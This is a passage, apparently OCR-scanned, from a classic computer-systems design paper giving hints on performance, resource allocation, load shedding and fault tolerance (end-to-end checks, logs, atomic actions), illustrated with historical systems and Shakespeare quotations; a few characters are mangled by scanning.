The same idea in a different guise is used in the S-1 [48], which has an extra bit for each
instruction in its instruction cache. It clears the bit when the instruction is loaded, sets it when the
instruction causes a branch to be taken, and uses it to choose the path that the instruction fetch
unit follows. If the prediction turns out to be wrong, it changes the bit and follows the other path.

® When in doubt, use brute force. Especially as the cost of hardware declines, a straightforward,
easily analyzed solution that requires a lot of special-purpose computing cycles is better than a
complex, poorly characterized one that may work well if certain assumptions are satisfied. For
example, Ken Thompson’s chess machine Belle relies mainly on special-purpose hardware to
generate moves and evaluate positions, rather than on sophisticated chess strategies. Belle has
won the world computer chess championships several times. Another instructive example is the
success of personal computers over time-sharing systems; the latter include much more
cleverness and have many fewer wasted cycles, but the former are increasingly recognized as the
most cost-effective way to do interactive computing.

Even an asymptotically faster algorithm is not necessarily better. There is an algorithm that
multiplies two 7 X n matrices faster than O(»n*"), but the constant factor is prohibitive. On a more
mundane note, the 7040 Watfor compiler uses linear search to look up symbols; student
programs have so few symbols that the setup time for a better algorithm can’t be recovered.

e Compute in background when possible. In an interactive or real-time system, it is good to do as
little work as possible before responding to a request. The reason is twofold: first, a rapid
response is better for the users, and second, the load usually varies a great deal, so there is likely
to be idle processor time later in which to do background work. Many kinds of work can be
deferred to background. The Interlisp and Cedar garbage collectors [7, 11] do nearly all their
work this way. Many paging systems write out dirty pages and prepare candidates for
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replacement in background. Electronic mail can be delivered and retrieved by background
processes, since delivery within an hour or two is usually acceptable. Many banking systems
consolidate the data on accounts at night and have it ready the next morning. These four ex-
amples have successively less need for synchronization between foreground and background
tasks. As the amount of synchronization increases more care is needed to avoid subtle errors; an
extreme example is the on-the-fly garbage collection algorithm given in [13]. But in most cases a
simple producer-consumer relationship between two otherwise independent processes is possible.

e Use batch processing if possible. Doing things incrementally almost always costs more, even
aside from the fact that disks and tapes work much better when accessed sequentially. Also,
batch processing permits much simpler error recovery. The Bank of America has an interactive
system that allows tellers to record deposits and check withdrawals. It is loaded with current
account balances in the morning and does its best to maintain them during the day. But early the
next morning the on-line data is discarded and replaced with the results of night’s batch run. This
design makes it much easier to meet the bank’s requirements for trustworthy long-term data, and
there is no significant loss in function.

Be wary then; best safety lies in fear. (I11143)

e Safety first. In allocating resources, strive to avoid disaster rather than to attain an optimum.
Many years of experience with virtual memory, networks, disk allocation, database layout, and
other resource allocation problems has made it clear that a general-purpose system cannot
optimize the use of resources. On the other hand, it is easy enough to overload a system and
drastically degrade the service. A system cannot be expected to function well if the demand for
any resource exceeds two-thirds of the capacity, unless the load can be characterized extremely
well. Fortunately hardware is cheap and getting cheaper; we can afford to provide excess
capacity. Memory is especially cheap, which is especially fortunate since to some extent plenty
of memory can allow other resources like processor cycles or communication bandwidth to be
utilized more fully.

The sad truth about optimization was brought home by the first paging systems. In those days
memory was very expensive, and people had visions of squeezing the most out of every byte by
clever optimization of the swapping: putting related procedures on the same page, predicting the
next pages to be referenced from previous references, running jobs together that share data or
code, etc. No one ever learned how to do this. Instead, memory got cheaper, and systems spent it
to provide enough cushion for simple demand paging to work. We learned that the only
important thing is to avoid thrashing, or too much demand for the available memory. A system
that thrashes spends all its time waiting for the disk.

The only systems in which cleverness has worked are those with very well-known loads. For
instance, the 360/50 APL system [4] has the same size workspace for each user and common
system code for all of them. It makes all the system code resident, allocates a contiguous piece of
disk for each user, and overlaps a swap-out and a swap-in with each unit of computation. This
works fine.

The nicest thing about the Alto is that it doesn’t run faster at night. (J. Morris)

A similar lesson was learned about processor time. With interactive use the response time to a
demand for computing is important, since a person is waiting for it. Many attempts were made to
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tune the processor scheduling as a function of priority of the computation, working set size,
memory loading, past history, likelihood of an I/O request, etc.. These efforts failed. Only the
crudest parameters produce intelligible effects: interactive vs. non-interactive computation or
high, foreground and background priority levels. The most successful schemes give a fixed share
of the cycles to each job and don’t allocate more than 100%; unused cycles are wasted or, with
luck, consumed by a background job. The natural extension of this strategy is the personal
computer, in which each user has at least one processor to himself.

Give every man thy ear, but few thy voice;
Take each man’s censure, but reserve thy judgment.

e Shed load to control demand, rather than allowing the system to become overloaded. This is a
corollary of the previous rule. There are many ways to shed load. An interactive system can
refuse new users, or even deny service to existing ones. A memory manager can limit the jobs
being served so that all their working sets fit in the available memory. A network can discard
packets. If it comes to the worst, the system can crash and start over more prudently.

Bob Morris suggested that a shared interactive system should have a large red button on each
terminal. The user pushes the button if he is dissatisfied with the service, and the system must
either improve the service or throw the user off; it makes an equitable choice over a sufficiently
long period. The idea is to keep people from wasting their time in front of terminals that are not
delivering a useful amount of service.

The original specification for the Arpanet [32] was that a packet accepted by the net is
guaranteed to be delivered unless the recipient machine is down or a network node fails while it
is holding the packet. This turned out to be a bad idea. This rule makes it very hard to avoid
deadlock in the worst case, and attempts to obey it lead to many complications and inefficiencies
even in the normal case. Furthermore, the client does not benefit, since it still has to deal with
packets lost by host or network failure (see section 4 on end-to-end). Eventually the rule was
abandoned. The Pup internet [3], faced with a much more variable set of transport facilities, has
always ruthlessly discarded packets at the first sign of congestion.

4. Fault-tolerance

The unavoidable price of reliability is simplicity. ~ (C. Hoare)

Making a system reliable is not really hard, if you know how to go about it. But retrofitting
reliability to an existing design is very difficult.

This above all: to thine own self be true,
And it must follow, as the night the day,
Thou canst not then be false to any man.

® End-to-end. Error recovery at the application level is absolutely necessary for a reliable system,
and any other error detection or recovery is not logically necessary but is strictly for
performance. This observation was first made by Saltzer [46] and is very widely applicable.

For example, consider the operation of transferring a file from a file system on a disk attached to
machine A, to another file system on another disk attached to machine B. To be confident that
the right bits are really on B’s disk, you must read the file from B’s disk, compute a checksum of
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reasonable length (say 64 bits), and find that it is equal to a checksum of the bits on A’s disk.
Checking the transfer from A’s disk to A’s memory, from A over the network to B, or from B’s
memory to B’s disk is not sufficient, since there might be trouble at some other point, the bits
might be clobbered while sitting in memory, or whatever. These other checks are not necessary
either, since if the end-to-end check fails the entire transfer can be repeated. Of course this is a lot
of work, and if errors are frequent, intermediate checks can reduce the amount of work that must
be repeated. But this is strictly a question of performance, irrelevant to the reliability of the file
transfer. Indeed, in the ring based system at Cambridge it is customary to copy an entire disk
pack of 58 MBytes with only an end-to-end check; errors are so infrequent that the 20 minutes of
work very seldom needs to be repeated [36].

Many uses of hints are applications of this idea. In the Alto file system described earlier, for
example, the check of the label on a disk sector before writing the sector ensures that the disk
address for the write is correct. Any precautions taken to make it more likely that the address is
correct may be important, or even critical, for performance, but they do not affect the reliability
of the file system.

The Pup internet [4] adopts the end-to-end strategy at several levels. The main service offered by
the network is transport of a data packet from a source to a destination. The packet may traverse
a number of networks with widely varying error rates and other properties. Internet nodes that
store and forward packets may run short of space and be forced to discard packets. Only rough
estimates of the best route for a packet are available, and these may be wildly wrong when parts
of the network fail or resume operation. In the face of these uncertainties, the Pup internet
provides good service with a simple implementation by attempting only “best efforts” delivery.
A packet may be lost with no notice to the sender, and it may be corrupted in transit. Clients
must provide their own error control to deal with these problems, and indeed higher-level Pup
protocols do provide more complex services such as reliable byte streams. However, the packet
transport does attempt to report problems to its clients, by providing a modest amount of error
control (a 16-bit checksum), notifying senders of discarded packets when possible, etc. These
services are intended to improve performance in the face of unreliable communication and
overloading; since they too are best efforts, they don’t complicate the implementation much.

There are two problems with the end-to-end strategy. First, it requires a cheap test for success.
Second, it can lead to working systems with severe performance defects that may not appear until
the system becomes operational and is placed under heavy load.

Remember thee?
Yea, from the table of my memory
I'll wipe away all trivial fond records,
All saws of books, all forms, all pressures past,
That youth and observation copied there;
And thy commandment all alone shall live
Within the book and volume of my brain,
Unmix’d with baser matter. Iv97)

e Log updates to record the truth about the state of an object. A log is a very simple data structure
that can be reliably written and read, and cheaply forced out onto disk or other stable storage that
can survive a crash. Because it is append-only, the amount of writing is minimized, and it is
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fairly easy to ensure that the log is valid no matter when a crash occurs. It is also easy and cheap
to duplicate the log, write copies on tape, or whatever. Logs have been used for many years to
ensure that information in a data base is not lost [17], but the idea is a very general one and can
be used in ordinary file systems [35, 49] and in many other less obvious situations. When a log
holds the truth, the current state of the object is very much like a hint (it isn’t exactly a hint
because there is no cheap way to check its correctness).

To use the technique, record every update to an object as a log entry consisting of the name of
the update procedure and its arguments. The procedure must be functional: when applied to the
same arguments it must always have the same effect. In other words, there is no state outside the
arguments that affects the operation of the procedure. This means that the procedure call
specified by the log entry can be re-executed later, and if the object being updated is in the same
state as when the update was first done, it will end up in the same state as after the update was
first done. By induction, this means that a sequence of log entries can be re-executed, starting
with the same objects, and produce the same objects that were produced in the original
execution.

For this to work, two requirements must be satisfied:
e The update procedure must be a true function:
Its result does not depend on any state outside its arguments.
It has no side effects, except on the object in whose log it appears.
e The arguments must be values, one of:
Immediate values, such as integers, strings, etc. An immediate value can be a
large thing, like an array or even a list, but the entire value must be copied into the
log entry.
References to immutable objects.
Most objects of course are not immutable, since they are updated. However, a particular version
of an object is immutable; changes made to the object change the version. A simple way to refer
to an object version unambiguously is with the pair [object identifier, number of updates]. If the
object identifier leads to the log for that object, then replaying the specified number of log entries

yields the particular version. Of course doing this replay may require finding some other object

versions, but as long as each update refers only to existing versions, there won’t be any cycles
and this process will terminate.

For example, the Bravo editor [24] has exactly two update functions for editing a document:

Replace(old: Interval, new: Interval)
ChangeProperties(where: Interval, what: FormattingOp)

An Interval is a triple [document version, first character, last character]. A F. ormattingOp is a
function from properties to properties; a property might be italic or leftMargin, and a
FormattingOp might be leftMargin: = leftMargin + 10 or italic: = true. Thus only two kinds of
log entries are needed. All the editing commands reduce to applications of these two functions.
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Beware
Of entrance to a quarrel, but, being in,
Bear ’t that th’ opposed may beware of thee.

® Make actions atomic or restartable. An atomic action (often called a transaction) is one that
either completes or has no effect. For example, in most main storage systems fetching or storing
a word is atomic. The advantages of atomic actions for fault-tolerance are obvious: if a failure
occurs during the action it has no effect, so that in recovering from a failure it is not necessary to
deal with any of the intermediate states of the action [28]. Database systems have provided
atomicity for some time [17], using a log to store the information needed to complete or cancel
an action. The basic idea is to assign a unique identifier to each atomic action and use it to label
all the log entries associated with that action. A commit record for the action [42] tells whether it
is in progress, committed (logically complete, even if some cleanup work remains to be done), or
aborted (logically canceled, even if some cleanup remains); changes in the state of the commit
record are also recorded as log entries. An action cannot be committed unless there are log
entries for all of its updates. After a failure, recovery applies the log entries for each committed

action and undoes the updates for each aborted action. Many variations on this scheme are
possible [54].

For this to work, a log entry usually needs to be restartable. This means that it can be partially
executed any number of times before a complete execution, without changing the result;
sometimes such an action is called ‘idempotent’. For example, storing a set of values into a set of
variables is a restartable action; incrementing a variable by one is not. Restartable log entries can
be applied to the current state of the object; there is no need to recover an old state.

This basic method can be used for any kind of permanent storage. If things are simple enough a
rather distorted version will work. The Alto file system described above, for example, in effect
uses the disk labels and leader pages as a log and rebuilds its other data structures from these if
necessary. As in most file systems, it is only the file allocation and directory actions that are
atomic; the file system does not help the client to make its updates atomic. The Juniper file
system [35, 49] goes much further, allowing each client to make an arbitrary set of updates as a
single atomic action. It uses a trick known as ‘shadow pages’, in which data pages are moved
from the log into the files simply by changing the pointers to them in the B-tree that implements
the map from file addresses to disk addresses; this trick was first used in the Cal system [50].
Cooperating clients of an ordinary file system can also implement atomic actions, by checking
whether recovery is needed before each access to a file; when it is they carry out the entries in
specially named log files [40].

Atomic actions are not trivial to implement in general, although the preceding discussion tries to
show that they are not nearly as hard as their public image suggests. Sometimes a weaker but
cheaper method will do. The Grapevine mail transport and registration system [1], for example,
maintains a replicated data base of names and distribution lists on a large number of machines in
a nationwide network. Updates are made at one site and propagated to other sites using the mail
system itself. This guarantees that the updates will eventually arrive, but as sites fail and recover
and the network partitions, the order in which they arrive may vary greatly. Each update message
is time-stamped, and the latest one wins. After enough time has passed, all the sites will receive
all the updates and will all agree. During the propagation, however, the sites may disagree, for
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example about whether a person is a member of a certain distribution list. Such occasional
disagreements and delays are not very important to the usefulness of this particular system.

5. Conclusion

Most humbly do I take my leave, my lord.

Such a collection of good advice and anecdotes is rather tiresome to read; perhaps it is best taken
in small doses at bedtime. In extenuation I can only plead that I have ignored most of these rules
at least once, and nearly always regretted it. The references tell fuller stories about the systems or
techniques that I have only sketched. Many of them also have more complete rationalizations.

All the slogans are collected in Figure 1 near the beginning of the paper.
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